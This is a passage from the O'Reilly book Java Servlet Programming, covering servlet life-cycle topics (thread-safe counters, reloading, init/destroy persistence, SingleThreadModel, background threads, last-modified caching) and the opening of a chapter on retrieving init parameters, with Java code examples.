The code is simple--it just prints and increments the instance variable named count--but it shows the power of persistence. When the server loads this servlet, the server creates a single instance to handle every request made of the servlet. That's why this code can be so simple. The same instance variables exist between invocations and for all invocations.

3.1.4. A Simple Synchronized Counter

From the servlet-developer's perspective, each client is another thread that calls the servlet via the service(), doGet(), or doPost() methods, as shown in Figure 3-1.[1]

[1] Does it seem confusing how one servlet instance can handle multiple requests at the same time? If so, it's probably because when we picture an executing program we often see object instances performing the work, invoking each other's methods and so on. But, although this model works for simple cases, it's not how things actually work. In reality, all real work is done by threads. The object instances are nothing more than data structures manipulated by the threads. Therefore, if there are two threads running, it's entirely possible that both are using the same object at the same time.

Figure 3-1. Many threads, one servlet instance

If your servlets only read from the request, write to the response, and save information in local variables (that is, variables declared within a method), you needn't worry about the interaction among these threads. Once any information is saved in nonlocal variables (that is, variables declared within a class but outside any specific method), however, you must be aware that each of these client threads has the ability to manipulate a servlet's nonlocal variables. Without precautions, this may result in data corruption and inconsistencies. For example, the SimpleCounter servlet makes a false assumption that the counter incrementation and output occur atomically (immediately after one another, uninterrupted). It's possible that if two requests are made to SimpleCounter around the same time, each will print the same value for count. How? Imagine that one thread increments the count and just afterward, before the first thread prints the count, the second thread also increments the count. Each thread will print the same count value, after effectively increasing its value by 2.[2] The order of execution goes something like this

[2]Odd factoid: if count were a 64-bit long instead of a 32-bit int, it would be theoretically possible for the increment to be only half performed at the time it is interrupted by another thread. This is because Java uses a 32-bit wide stack.

count++            // Thread 1
count++            // Thread 2
out.println        // Thread 1
out.println        // Thread 2

Now, in this case, the inconsistency is obviously not a problem, but many other servlets have more serious opportunities for errors. To prevent these types of problems and the inconsistencies that come with them, we can add one or more synchronized blocks to the code. Anything inside a synchronized block or a synchronized method is guaranteed not to be executed concurrently by another thread. Before any thread begins to execute synchronized code, it must obtain a monitor(lock) on a specified class. If another thread already has that monitor--because it is already executing the same synchronized block or some other block with the same monitor--the first thread must wait. All this is handled by the language itself, so it's very easy to use. Synchronization, however, should be used only when necessary. On some platforms, it requires a fair amount of overhead to obtain the monitor each time a synchronized block is entered. More importantly, during the time one thread is executing synchronized code, the other threads may be blocked waiting for the monitor to be released.

For SimpleCounter, we have four options to deal with this potential problem. First, we could add the keyword synchronized to the doGet() signature:

public synchronized void doGet(HttpServletRequest req,
                               HttpServletResponse res)

This guarantees consistency by synchronizing the entire method, using the servlet class as the monitor. In general, though, this is not the right approach because it means the servlet can handle only one GET request at a time.

Our second option is to synchronize just the two lines we want to execute atomically:

PrintWriter out = res.getWriter();
synchronized(this) {
  count++;
  out.println("Since loading, this servlet has been accessed " +
              count + " times.");
}

This approach works better because it limits the amount of time this servlet spends in its synchronized block, while accomplishing the same goal of a consistent count. Of course, for this simple example, it isn't much different than the first option.

Our third option is to create a synchronized block that performs all the work that needs to be done serially, then use the results outside the synchronized block. For our counter servlet, we can increment the count in a synchronized block, save the incremented value to a local variable (a variable declared inside a method), then print the value of the local variable outside the synchronized block:

PrintWriter out = res.getWriter();
int local_count;
synchronized(this) {
  local_count = ++count;
}
out.println("Since loading, this servlet has been accessed " +
            local_count + " times.");

This change shrinks the synchronized block to be as small as possible, while still maintaining a consistent count.

Our last option is to decide that we are willing to suffer the consequences of ignoring synchronization issues. Sometimes the consequences are quite acceptable. For this example, ignoring synchronization means that some clients may receive a count that's a bit off. Not a big deal, really. If this servlet were supposed to return unique numbers, however, it would be a different story.

Although it's not possible with this example, an option that exists for other servlets is to change instance variables into local variables. Local variables are not available to other threads and thus don't need to be carefully protected from corruption. At the same time, however, local variables are not persistent between requests, so we can't use them to store the persistent state of our counter.

3.1.5. A Holistic Counter

Now, the "one instance per servlet" model is a bit of a gloss-over. The truth is that each registered name for a servlet (but not each alias) is associated with one instance of the servlet. The name used to access the servlet determines which instance handles the request. This makes sense because the impression to the client should be that differently named servlets operate independently. The separate instances are also a requirement for servlets that accept initialization parameters, as discussed later in this chapter.

Our SimpleCounter example uses the count instance variable to track the number of times it has been accessed. If, instead, it needed to track the count for all instances (and thus all registered aliases), it can in some cases use a class, or static, variable. These variables are shared across all instances of a class. Example 3-2 demonstrates with a servlet that counts three things: the times it has been accessed, the number of instances created by the server (one per name), and the total times all of them have been accessed.

Example 3-2. A more holistic counter

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HolisticCounter extends HttpServlet {

  static int classCount = 0;  // shared by all instances
  int count = 0;              // separate for each servlet
  static Hashtable instances = new Hashtable();  // also shared

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    count++;
    out.println("Since loading, this servlet instance has been accessed " +
                count + " times.");

    // Keep track of the instance count by putting a reference to this
    // instance in a Hashtable. Duplicate entries are ignored.
    // The size() method returns the number of unique instances stored.
    instances.put(this, this);
    out.println("There are currently " +
                instances.size() + " instances.");

    classCount++;
    out.println("Across all instances, this servlet class has been " +
                "accessed " + classCount + " times.");
  }
}

This HolisticCounter tracks its own access count with the count instance variable, the shared count with the classCount class variable, and the number of instances with the instances hashtable (another shared resource that must be a class variable). Sample output is shown in Figure 3-2.

Figure 3-2. Output from HolisticCounter

Previous | Home | Next
2.7. Moving On | Book Index | 3.2. Servlet Reloading
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Servlet Reloading (Java Servlet Programming)

 Java Servlet Programming Search this book

3.2. Servlet Reloading

If you tried using these counters for yourself, you may have noticed that any time you recompiled one, its count automatically began again at 1. Trust us--it's not a bug, it's a feature. Most servers automatically reload a servlet after its class file (under the default servlet directory, such as server_root/servlets) changes. It's an on-the-fly upgrade procedure that greatly speeds up the development-test cycle--and allows for long server uptimes.

Servlet reloading may appear to be a simple feature, but it's actually quite a trick--and requires quite a hack. ClassLoader objects are designed to load a class just once. To get around this limitation and load servlets again and again, servers use custom class loaders that load servlets from the default servlets directory. This explains why the servlet classes are found in server_root/servlets, even though that directory doesn't appear in the server's classpath.

When a server dispatches a request to a servlet, it first checks if the servlet's class file has changed on disk. If it has changed, the server abandons the class loader used to load the old version and creates a new instance of the custom class loader to load the new version. Old servlet versions can stay in memory indefinitely (and, in fact, other classes can still hold references to the old servlet instances, causing odd side effects, as explained in Chapter 11, "Interservlet Communication"), but the old versions are not used to handle any more requests.

Servlet reloading is not performed for classes found in the server's classpath (such as server_root/classes) because those classes are loaded by the core, primordial class loader. These classes are loaded once and retained in memory even when their class files change.

It's generally best to put servlet support classes (such as the utility classes in com.oreilly.servlet) somewhere in the server's classpath (such as server_root/classes) where they don't get reloaded. The reason is that support classes are not nicely reloaded like servlets. A support class, placed in the default servlets directory and accessed by a servlet, is loaded by the same class loader instance that loaded the servlet. It doesn't get its own class loader instance. Consequently, if the support class is recompiled but the servlet referring to it isn't, nothing happens. The server checks only the timestamp on servlet class files.[3]

[3] For the daredevils out there, here's a stunt you can try to force a support class reload. Put the support class in the servlet directory. Then convince the server it needs to reload the servlet that uses the support class (recompile it or use the Unix utility touch). The class loader that reloads the servlet should also load the new version of the support class.

A frequently used trick to improve performance is to place servlets in the default servlet directory during development and move them to the server's classpath for deployment. Having them out of the default directory eliminates the needless timestamp comparison for each request.

Previous | Home | Next
3.1. The Servlet Alternative | Book Index | 3.3. Init and Destroy
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Init and Destroy (Java Servlet Programming)

 Java Servlet Programming Search this book

3.3. Init and Destroy

Just like applets, servlets can define init() and destroy() methods. A servlet's init(ServletConfig) method is called by the server immediately after the server constructs the servlet's instance. Depending on the server and its configuration, this can be at any of these times:

  • When the server starts

  • When the servlet is first requested, just before the service() method is invoked

  • At the request of the server administrator

In any case, init() is guaranteed to be called before the servlet handles its first request.

The init() method is typically used to perform servlet initialization--creating or loading objects that are used by the servlet in the handling of its requests. Why not use a constructor instead? Well, in JDK 1.0 (for which servlets were originally written), constructors for dynamically loaded Java classes (such as servlets) couldn't accept arguments. So, in order to provide a new servlet any information about itself and its environment, a server had to call a servlet's init() method and pass along an object that implements the ServletConfig interface. Also, Java doesn't allow interfaces to declare constructors. This means that the javax.servlet.Servlet interface cannot declare a constructor that accepts a ServletConfig parameter. It has to declare another method, like init(). It's still possible, of course, for you to define constructors for your servlets, but in the constructor you don't have access to the ServletConfig object or the ability to throw a ServletException.

This ServletConfig object supplies a servlet with information about its initialization (init) parameters. These parameters are given to the servlet itself and are not associated with any single request. They can specify initial values, such as where a counter should begin counting, or default values, perhaps a template to use when not specified by the request. In the Java Web Server, init parameters for a servlet are usually set during the registration process. See Figure 3-3.

Figure 3-3. Setting init parameters in the Java Web Server

Other servers set init parameters in different ways. Sometimes it involves editing a configuration file. One creative technique you can use with the Java Web Server, but currently by no other servers, is to treat servlets as JavaBeans. Such servlets can be loaded from serialized files or have their init properties set automatically by the server at load time using introspection. See the Java Web Server documentation for more information.

The ServletConfig object also holds a reference to a ServletContext object that a servlet may use to investigate its environment. See Chapter 4, "Retrieving Information", for a full discussion of this ability.

The server calls a servlet's destroy() method when the servlet is about to be unloaded. In the destroy() method, a servlet should free any resources it has acquired that will not be garbage collected. The destroy() method also gives a servlet a chance to write out its unsaved cached information or any persistent information that should be read during the next call to init().

3.3.1. A Counter with Init

Init parameters can be used for anything. In general, they specify initial values or default values for servlet variables, or they tell a servlet how to customize its behavior in some way. Example 3-3 extends our SimpleCounter example to read an init parameter (named initial) that stores the initial value for our counter.

Example 3-3. A counter that reads init parameters

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class InitCounter extends HttpServlet {

  int count;

  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    String initial = config.getInitParameter("initial");
    try {
      count = Integer.parseInt(initial);
    }
    catch (NumberFormatException e) {
      count = 0;
    }
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                           throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();
    count++;
    out.println("Since loading (and with a possible initialization");
    out.println("parameter figured in), this servlet has been accessed");
    out.println(count + " times.");
  }
}

The init() method accepts an object that implements the ServletConfig interface. It uses the config object's getInitParameter() method to get the value for the init parameter named initial. This method takes the name of the parameter as a String and returns the value as a String. There is no way to get the value as any other type. This servlet therefore converts the String value to an int or, if there's a problem, defaults to a value of 0.

Take special note that the first thing the
init()
method does is call super.init(config).
Every servlet's init() method must do
this!

Why must the init() method call super.init(config)? The reason is that a servlet is passed its ServletConfig instance in its init() method, but not in any other method. This could cause a problem for a servlet that needs to access its config object outside of init(). Calling super.init(config) solves this problem by invoking the init() method of GenericServlet, which saves a reference to the config object for future use.

So, how does a servlet make use of this saved reference? By invoking methods on itself. The GenericServlet class itself implements the ServletConfig interface, using the saved config object in the implementation. In other words, after the call to super.init(config), a servlet can invoke its own getInitParameter() method. That means we could replace the following call:

String initial = config.getInitParameter("initial");

with:

String initial = getInitParameter("initial");

This second style works even outside of the init() method. Just remember, without the call to super.init(config) in the init() method, any call to the GenericServlet's implementation of getInitParameter() or any other ServletConfig methods will throw a NullPointerException. So, let us say it again: every servlet's init() method should call super.init(config) as its first action. The only reason not to is if the servlet directly implements the javax.servlet.Servlet interface, where there is no super.init().

3.3.2. A Counter with Init and Destroy

Up until now, the counter examples have demonstrated how servlet state persists between accesses. This solves only part of the problem. Every time the server is shut down or the servlet is reloaded, the count begins again. What we really want is persistence across loads--a counter that doesn't have to start over.

The init() and destroy() pair can accomplish this. Example 3-4 further extends the InitCounter example, giving the servlet the ability to save its state in destroy() and load the state again in init(). To keep things simple, assume this servlet is not registered and is accessed only as http://server:port/servlet/InitDestroyCounter. If it were registered under different names, it would have to save a separate state for each name.

Example 3-4. A fully persistent counter

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class InitDestroyCounter extends HttpServlet {

  int count;

  public void init(ServletConfig config) throws ServletException {
    // Always call super.init(config) first  (servlet mantra #1)
    super.init(config);

    // Try to load the initial count from our saved persistent state
    try {
      FileReader fileReader = new FileReader("InitDestroyCounter.initial");
      BufferedReader bufferedReader = new BufferedReader(fileReader);
      String initial = bufferedReader.readLine();
      count = Integer.parseInt(initial);
      return;
    }
    catch (FileNotFoundException ignored) { }  // no saved state
    catch (IOException ignored) { }            // problem during read
    catch (NumberFormatException ignored) { }  // corrupt saved state

    // No luck with the saved state, check for an init parameter
    String initial = getInitParameter("initial");
    try {
      count = Integer.parseInt(initial);
      return;
    }
    catch (NumberFormatException ignored) { }  // null or non-integer value

    // Default to an initial count of "0"
    count = 0;
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();
    count++;
    out.println("Since the beginning, this servlet has been accessed " +
                count + " times.");
  }

  public void destroy() {
    saveState();
  }

  public void saveState() {
    // Try to save the accumulated count
    try {
      FileWriter fileWriter = new FileWriter("InitDestroyCounter.initial");
      String initial = Integer.toString(count);
      fileWriter.write(initial, 0, initial.length());
      fileWriter.close();
      return;
    }
    catch (IOException e) {  // problem during write
      // Log the exception. See Chapter 5, "Sending HTML Information".
    }
  }
}

Each time this servlet is about to be unloaded, it saves its state in a file named InitDestroyCounter.initial. In the absence of a supplied path, the file is saved in the server process' current directory, usually the server_root.[4] This file contains a single integer, saved as a string, that represents the latest count.

[4] The exact location of the current user directory can be found using System.getProperty("user.dir").

Each time the servlet is loaded, it tries to read the saved count from the file. If, for some reason, the read fails (as it does the first time the servlet runs because the file doesn't yet exist), the servlet checks if an init parameter specifies the starting count. If that too fails, it starts fresh with zero. You can never be too careful in init() methods.

Servlets can save their state in many different ways. Some may use a custom file format, as was done here. Others may save their state as serialized Java objects or put it into a database. Some may even perform journaling, a technique common to databases and tape backups, where the servlet's full state is saved infrequently while a journal file stores incremental updates as things change. Which method a servlet should use depends on the situation. In any case, you should always be watchful that the state being saved isn't undergoing any change in the background.

Right now you're probably asking yourself "What happens if the server crashes?" It's a good question. The answer is that the destroy() method will not be called.[5] This doesn't cause a problem for destroy() methods that only have to free resources; a rebooted server does that job just as well (if not better). But it does cause a problem for a servlet that needs to save its state in its destroy() method. For these servlets, the only guaranteed solution is to save state more often. A servlet may choose to save its state after handling each request, such as a "chess server" servlet should do, so that even if the server is restarted, the game can resume with the latest board position. Other servlets may need to save state only after some important value has changed--a "shopping cart" servlet needs to save its state only when a customer adds or removes an item from her cart. Last, for some servlets, it's fine to lose a bit of the recent state changes. These servlets can save state after some set number of requests. For example, in our InitDestroyCounter example, it should be satisfactory to save state every 10 accesses. To implement this, we can add the following line at the end of doGet():

[5] Unless you're so unlucky that your server crashes while in the destroy() method. In that case, you may be left with a partially-written state file--garbage written on top of your previous state. To be perfectly safe, a servlet should save its state to a temporary file and then copy that file on top of the official state file in one command.

if (count % 10 == 0) saveState();

Does this addition make you cringe? It should. Think about synchronization issues. We've opened up the possibility for data loss if saveState() is executed by two threads at the same time and the possibility for saveState() not to be called at all if count is incremented by several threads in a row before the check. Note that this possibility did not exist when saveState() was called only from the destroy() method: the destroy() method is called just once per servlet instance. Now that saveState() is called in the doGet() method, however, we need to reconsider. If by some chance this servlet is accessed so frequently that it has more than 10 concurrently executing threads, it's likely that two servlets (10 requests apart) will be in saveState() at the same time. This may result in a corrupted data file. It's also possible the two threads will increment count before either thread notices it was time to call saveState(). The fix is easy: move the count check into the synchronized block where count is incremented:

  int local_count;
  synchronized(this) {
    local_count = ++count;
    if (count % 10 == 0) saveState();
  }
  out.println("Since loading, this servlet has been accessed " +
              local_count + " times.");

The moral of the story is harder: always be vigilant to protect servlet code from multithreaded access problems.

Even though this series of counter examples demonstrates the servlet life cycle, the counters themselves aren't particularly useful because they count only the number of times they themselves have been accessed. You can find two truly useful counters--that count accesses to other pages--in the next chapter.

Previous | Home | Next
3.2. Servlet Reloading | Book Index | 3.4. Single-Thread Model
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Single-Thread Model (Java Servlet Programming)

 Java Servlet Programming Search this book

3.4. Single-Thread Model

Although it is standard to have one servlet instance per registered servlet name, it is possible for a servlet to elect instead to have a pool of instances created for each of its names, all sharing the duty of handling requests. Such servlets indicate this desire by implementing the javax.servlet.SingleThreadModel interface. This is an empty, tag interface that defines no methods or variables and serves only to flag the servlet as wanting the alternate life cycle.

A server that loads a SingleThreadModel servlet must guarantee, according to the Servlet API documentation, "that no two threads will execute concurrently the service method of that servlet." To accomplish this, each thread uses a free servlet instance from the pool, as shown in Figure 3-4. Thus, any servlet implementing SingleThreadModel can be considered thread safe and isn't required to synchronize access to its instance variables.

Figure 3-4. The Single Thread Model

Such a life cycle is pointless for a counter or other servlet application that requires central state maintenance. The life cycle can be useful, however, in avoiding synchronization while still performing efficient request handling.

For example, a servlet that connects to a database sometimes needs to perform several database commands atomically as part of a single transaction. Normally, this would require the servlet to synchronize around the database commands (letting it manage just one request at a time) or to manage a pool of database connections where it can "check out" and "check in" connections (letting it support multiple concurrent requests). By instead implementing SingleThreadModel and having one "connection" instance variable per servlet, a servlet can easily handle concurrent requests by letting its server manage the servlet instance pool (which doubles as a connection pool). The skeleton code is shown in Example 3-5.

Example 3-5. Handling database connections using SingleThreadModel

import java.io.*;
import java.sql.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class SingleThreadConnection extends HttpServlet
                                    implements SingleThreadModel {

  Connection con = null;  // database connection, one per pooled servlet instance

  public void init(ServletConfig config) throws ServletException {
    super.init(config);

    // Establish the connection for this instance
    con = establishConnection();
    con.setAutoCommit(false);
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    // Use the connection uniquely assigned to this instance
    Statement stmt = con.createStatement();

    // Update the database any number of ways

    // Commit the transaction
    con.commit();
  }

  public void destroy() {
    if (con != null) con.close();
  }

  private Connection establishConnection() {
    // Not implemented. See Chapter 9, "Database Connectivity".
  }
}
Previous | Home | Next
3.3. Init and Destroy | Book Index | 3.5. Background Processing
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Background Processing (Java Servlet Programming)

 Java Servlet Programming Search this book

3.5. Background Processing

Servlets can do more than simply persist between accesses. They can also execute between accesses. Any thread started by a servlet can continue executing even after the response has been sent. This ability proves most useful for long-running tasks whose incremental results should be made available to multiple clients. A background thread started in init() performs continuous work while request-handling threads display the current status with doGet(). It's a similar technique to that used in animation applets, where one thread changes the picture and another paints the display.

Example 3-6 shows a servlet that searches for prime numbers above one quadrillion. It starts with such a large number to make the calculation slow enough to adequately demonstrate caching effects--something we need for the next section. The algorithm it uses couldn't be simpler: it selects odd-numbered candidates and attempts to divide them by every odd integer between 3 and their square root. If none of the integers evenly divides the candidate, it is declared prime.

Example 3-6. On the hunt for primes

import java.io.*;
import java.util.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class PrimeSearcher extends HttpServlet implements Runnable {

  long lastprime = 0;                    // last prime found
  Date lastprimeModified = new Date();   // when it was found
  Thread searcher;                       // background search thread

  public void init(ServletConfig config) throws ServletException {
    super.init(config);                  // always!
    searcher = new Thread(this);
    searcher.setPriority(Thread.MIN_PRIORITY);  // be a good citizen
    searcher.start();
  }

  public void run() {
    //               QTTTBBBMMMTTTOOO
    long candidate = 1000000000000001L;  // one quadrillion and one

    // Begin loop searching for primes
    while (true) {                       // search forever
      if (isPrime(candidate)) {
        lastprime = candidate;           // new prime
        lastprimeModified = new Date();  // new "prime time"
      }
      candidate += 2;                    // evens aren't prime

      // Between candidates take a 0.2 second break.
      // Another way to be a good citizen with system resources.
      try {
        searcher.sleep(200);
      }
      catch (InterruptedException ignored) { }
    }
  }

  private static boolean isPrime(long candidate) {
    // Try dividing the number by all odd numbers between 3 and its sqrt
    double sqrt = Math.sqrt(candidate);
    for (long i = 3; i <= sqrt; i += 2) {
      if (candidate % i == 0) return false;  // found a factor
    }

    // Wasn't evenly divisible, so it's prime
    return true;
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
                               throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();
    if (lastprime == 0) {
      out.println("Still searching for first prime...");
    }
    else {
      out.println("The last prime discovered was " + lastprime);
      out.println(" at " + lastprimeModified);
    }
  }

  public void destroy() {
    searcher.stop();
  }
}

The searcher thread begins its search in the init() method. Its latest find is saved in lastprime, along with the time it was found in in lastprimeModified. Each time a client accesses the servlet, the doGet() method reports the largest prime found so far and the time it was found. The searcher runs independently of client accesses; even if no one accesses the servlet it continues to find primes silently. If several clients access the servlet at the same time, they all see the same current status.

Notice that the destroy() method stops the searcher thread.[6] This is very important! If a servlet does not stop its background threads, they continue to run until the virtual machine exits. Even when a servlet is reloaded (either explicitly or because its class file changed), its threads won't be stopped. Instead, it's likely that the new servlet will create extra copies of the background threads. And, at least with the Java Web Server, even explicitly restarting the web server service doesn't stop background threads because the Java Web Server virtual machine continues its execution.

[6] Stopping threads using the stop() method as shown here is deprecated in JDK 1.2 in favor of a safer flag-based system, where a thread must periodically examine a "flag" variable to determine when it should stop, at which point it can clean up and return from its run() method. See the JDK documentation for details. Example source code can be found in an article titled "Scott's Solutions: Programming with threads in Java 1.2", written by Scott Oaks for Java Report Online, found at http://www.sigs.com/jro/features/9711/oaks.html.

Previous | Home | Next
3.4. Single-Thread Model | Book Index | 3.6. Last Modified Times
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Last Modified Times (Java Servlet Programming)

 Java Servlet Programming Search this book

3.6. Last Modified Times

By now, we're sure you've learned that servlets handle GET requests with the doGet() method. And that's almost true. The full truth is that not every request really needs to invoke doGet(). For example, a web browser that repeatedly accesses PrimeSearcher should need to call doGet() only after the searcher thread has found a new prime. Until that time, any call to doGet() just generates the same page the user has already seen, a page probably stored in the browser's cache. What's really needed is a way for a servlet to report when its output has changed. That's where the getLastModified() method comes in.

Most web servers, when they return a document, include as part of their response a Last-Modified header. An example Last-Modified header value might be:

Tue, 06-May-98 15:41:02 GMT

This header tells the client the time the page was last changed. That information alone is only marginally interesting, but it proves useful when a browser reloads a page.

Most web browsers, when they reload a page, include in their request an If-Modified-Since header. Its structure is identical to the Last-Modified header:

Tue, 06-May-98 15:41:02 GMT

This header tells the server the Last-Modified time of the page when it was last downloaded by the browser. The server can read this header and determine if the file has changed since the given time. If the file has changed, the server must send the newer content. If the file hasn't changed, the server can reply with a simple, short response that tells the browser the page has not changed and it is sufficient to redisplay the cached version of the document. For those familiar with the details of HTTP, this response is the 304 "Not Modified" status code.

This technique works great for static pages: the server can use the file system to find out when any file was last modified. For dynamically generated content, though, such as that returned by servlets, the server needs some extra help. By itself, the best the server can do is play it safe and assume the content changes with every access, effectively eliminating the usefulness of the Last-Modified and If-Modified-Since headers.

The extra help a servlet can provide is implementing the getLastModified() method. A servlet should implement this method to return the time it last changed its output. Servers call this method at two times. The first time the server calls it is when it returns a response, so that it can set the response's Last-Modified header. The second time occurs in handling GET requests that include the If-Modified-Since header (usually reloads), so it can intelligently determine how to respond. If the time returned by getLastModified() is equal to or earlier than the time sent in the If-Modified-Since header, the server returns the "Not Modified" status code. Otherwise, the server calls doGet() and returns the servlet's output.[7]

[7] A servlet can directly set its Last-Modified header inside doGet(), using techniques discussed in Chapter 5, "Sending HTML Information". However, by the time the header is set inside doGet(), it's too late to decide whether or not to call doGet().

Some servlets may find it difficult to determine their last modified time. For these situations, it's often best to use the "play it safe" default behavior. Many servlets, however, should have little or no problem. Consider a "bulletin board" servlet where people post carpool openings or the need for racquetball partners. It can record and return when the bulletin board's contents were last changed. Even if the same servlet manages several bulletin boards, it can return a different modified time depending on the board given in the parameters of the request. Here's a getLastModified() method for our PrimeSearcher example that returns when the last prime was found.

public long getLastModified(HttpServletRequest req) {
  return lastprimeModified.getTime() / 1000 * 1000;
}

Notice that this method returns a long value that represents the time as a number of milliseconds since midnight, January 1, 1970, GMT. This is the same representation used internally by Java to store time values. Thus, the servlet uses the getTime() method to retrieve lastprimeModified as a long.

Before returning this time value, the servlet rounds it down to the nearest second by dividing by 1000 and then multiplying by 1000. All times returned by getLastModified() should be rounded down like this. The reason is that the Last-Modified and If-Modified-Since headers are given to the nearest second. If getLastModified() returns the same time but with a higher resolution, it may erroneously appear to be a few milliseconds later than the time given by If-Modified-Since. For example, let's assume PrimeSearcher found a prime exactly 869127442359 milliseconds since the beginning of the Disco Decade. This fact is told to the browser, but only to the nearest second:

Thu, 17-Jul-97 09:17:22 GMT

Now let's assume that the user reloads the page and the browser tells the server, via the If-Modified-Since header, the time it believes its cached page was last modified:

Thu, 17-Jul-97 09:17:22 GMT

Some servers have been known to receive this time, convert it to exactly 869127442000 milliseconds, find that this time is 359 milliseconds earlier than the time returned by getLastModified(), and falsely assume that the servlet's content has changed. This is why, to play it safe, getLastModified() should always round down to the nearest thousand milliseconds.

The HttpServletRequest object is passed to getLastModified() in case the servlet needs to base its results on information specific to the particular request. The generic bulletin board servlet can make use of this to determine which board was being requested, for example.

Previous | Home | Next
3.5. Background Processing | Book Index | 4. Retrieving Information
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Retrieving Information (Java Servlet Programming)

 Java Servlet Programming Search this book

Chapter 4. Retrieving Information

Contents:

Initialization Parameters
The Server
The Client
The Request

To build a successful web application, you often need to know a lot about the environment in which it is running. You may need to find out about the server that is executing your servlets or the specifics of the client that is sending requests. And no matter what kind of environment the application is running in, you most certainly need information about the requests that the application is handling.

Servlets have a number of methods available to gain access to this information. For the most part, each method returns one specific result. If you compare this to the way environment variables are used to pass a CGI program its information, the servlet approach has several advantages:

  • Stronger type checking. In other words, more help from the compiler in catching errors. A CGI program uses one function to retrieve its environment variables. Many errors cannot be found until they cause runtime problems. Let's look at how both a CGI program and a servlet find the port on which its server is running.

    A CGI script written in Perl calls:

    $port = $ENV{'SERVER_PORT'};

    where $port is an untyped variable. A CGI program written in C calls:

    char *port = getenv("SERVER_PORT");

    where port is a pointer to a character string. The chance for accidental errors is high. The environment variable name could be misspelled (it happens often enough) or the data type might not match what the environment variable returns.

    A servlet, on the other hand, calls:

    int port = req.getServerPort()

    This eliminates a lot of accidental errors because the compiler can guarantee there are no misspellings and each return type is as it should be.

  • Delayed calculation. When a server launches a CGI program, the value for each and every environment variable must be precalculated and passed, whether the CGI program uses it or not. A server launching a servlet has the option to improve performance by delaying these calculations and performing them on demand as needed.

  • More interaction with the server. Once a CGI program begins execution, it is untethered from its server. The only communication path available to the program is its standard output. A servlet, however, can work with the server. As discussed in the last chapter, a servlet operates either within the server (when possible) or as a connected process outside the server (when necessary). Using this connectivity, a servlet can make ad hoc requests for calculated information that only the server can provide. For example, a servlet can have its server do arbitrary path translations, taking into consideration the server's aliases and virtual paths.

If you're coming to servlets from CGI, Table 4-1 is a "cheat sheet" you can use for your migration. It lists each CGI environment variable and the corresponding HTTP servlet method.

Table 4-1. CGI Environment Variables and the Corresponding Servlet Methods

CGI Environment Variable | HTTP Servlet Method
SERVER_NAME | req.getServerName()
SERVER_SOFTWARE | getServletContext().getServerInfo()
SERVER_PROTOCOL | req.getProtocol()
SERVER_PORT | req.getServerPort()
REQUEST_METHOD | req.getMethod()
PATH_INFO | req.getPathInfo()
PATH_TRANSLATED | req.getPathTranslated()
SCRIPT_NAME | req.getServletPath()
DOCUMENT_ROOT | req.getRealPath("/")
QUERY_STRING | req.getQueryString()
REMOTE_HOST | req.getRemoteHost()
REMOTE_ADDR | req.getRemoteAddr()
AUTH_TYPE | req.getAuthType()
REMOTE_USER | req.getRemoteUser()
CONTENT_TYPE | req.getContentType()
CONTENT_LENGTH | req.getContentLength()
HTTP_ACCEPT | req.getHeader("Accept")
HTTP_USER_AGENT | req.getHeader("User-Agent")
HTTP_REFERER | req.getHeader("Referer")

In the rest of this chapter, we'll see how and when to use these methods--and several other methods that have no CGI counterparts. Along the way, we'll put the methods to use in some real servlets.

4.1. Initialization Parameters

Each registered servlet name can have specific initialization (init) parameters associated with it. Init parameters are available to the servlet at any time; they are often used in init() to set initial or default values for a servlet or to customize the servlet's behavior in some way. Init parameters are more fully explained in Chapter 3, "The Servlet Life Cycle".

4.1.1. Getting an Init Parameter

A servlet uses the getInitParameter() method to get access to its init parameters:

public String ServletConfig.getInitParameter(String name)

This method returns the value of the named init parameter or null if it does not exist. The return value is always a single String. It is up to the servlet to interpret the value.

The GenericServlet class implements the ServletConfig interface and thus provides direct access to the getInitParameter() method.[1] The method is usually called like this:

[1] The servlet must call super.init(config) in its init() method to get this functionality.

public void init(ServletConfig config) throws ServletException {
  super.init(config);
  String greeting = getInitParameter("greeting");
}

A servlet that needs to establish a connection to a database can use its init parameters to define the details of the connection. We can assume a custom establishConnection() method to abstract away the details of JDBC, as shown in Example 4-1.

Example 4-1. Using init parameters to establish a database connection

java.sql.Connection con = null;

public void init(ServletConfig config) throws ServletException {
  super.init(config);

  String host = getInitParameter("host");
  int port = Integer.parseInt(getInitParameter("port"));
  String db = getInitParameter("db");
  String user = getInitParameter("user");
  String password = getInitParameter("password");
  String proxy = getInitParameter("proxy");

  con = establishConnection(host, port, db, user, password, proxy);
}

4.1.2. Getting Init Parameter Names

A servlet can examine all its init parameters using getInitParameterNames() :

public Enumeration ServletConfig.getInitParameterNames()

This method returns the names of all the servlet's init parameters as an Enumeration of String objects or an empty Enumeration if no parameters exist. It's most often used for debugging.

The GenericServlet class also makes this method directly available to servlets. Example 4-2 shows a servlet that prints the name and value for all of its init parameters.

Example 4-2. Getting init parameter names

import java.io.*;
import java.util.*;
import javax.servlet.*;

public class InitSnoop extends GenericServlet {

  // No init() method needed

  public void service(ServletRequest req, ServletResponse res)
                             throws ServletException, IOException {
    res.setContentType("text/plain");
    PrintWriter out = res.getWriter();

    out.println("Init Parameters:");
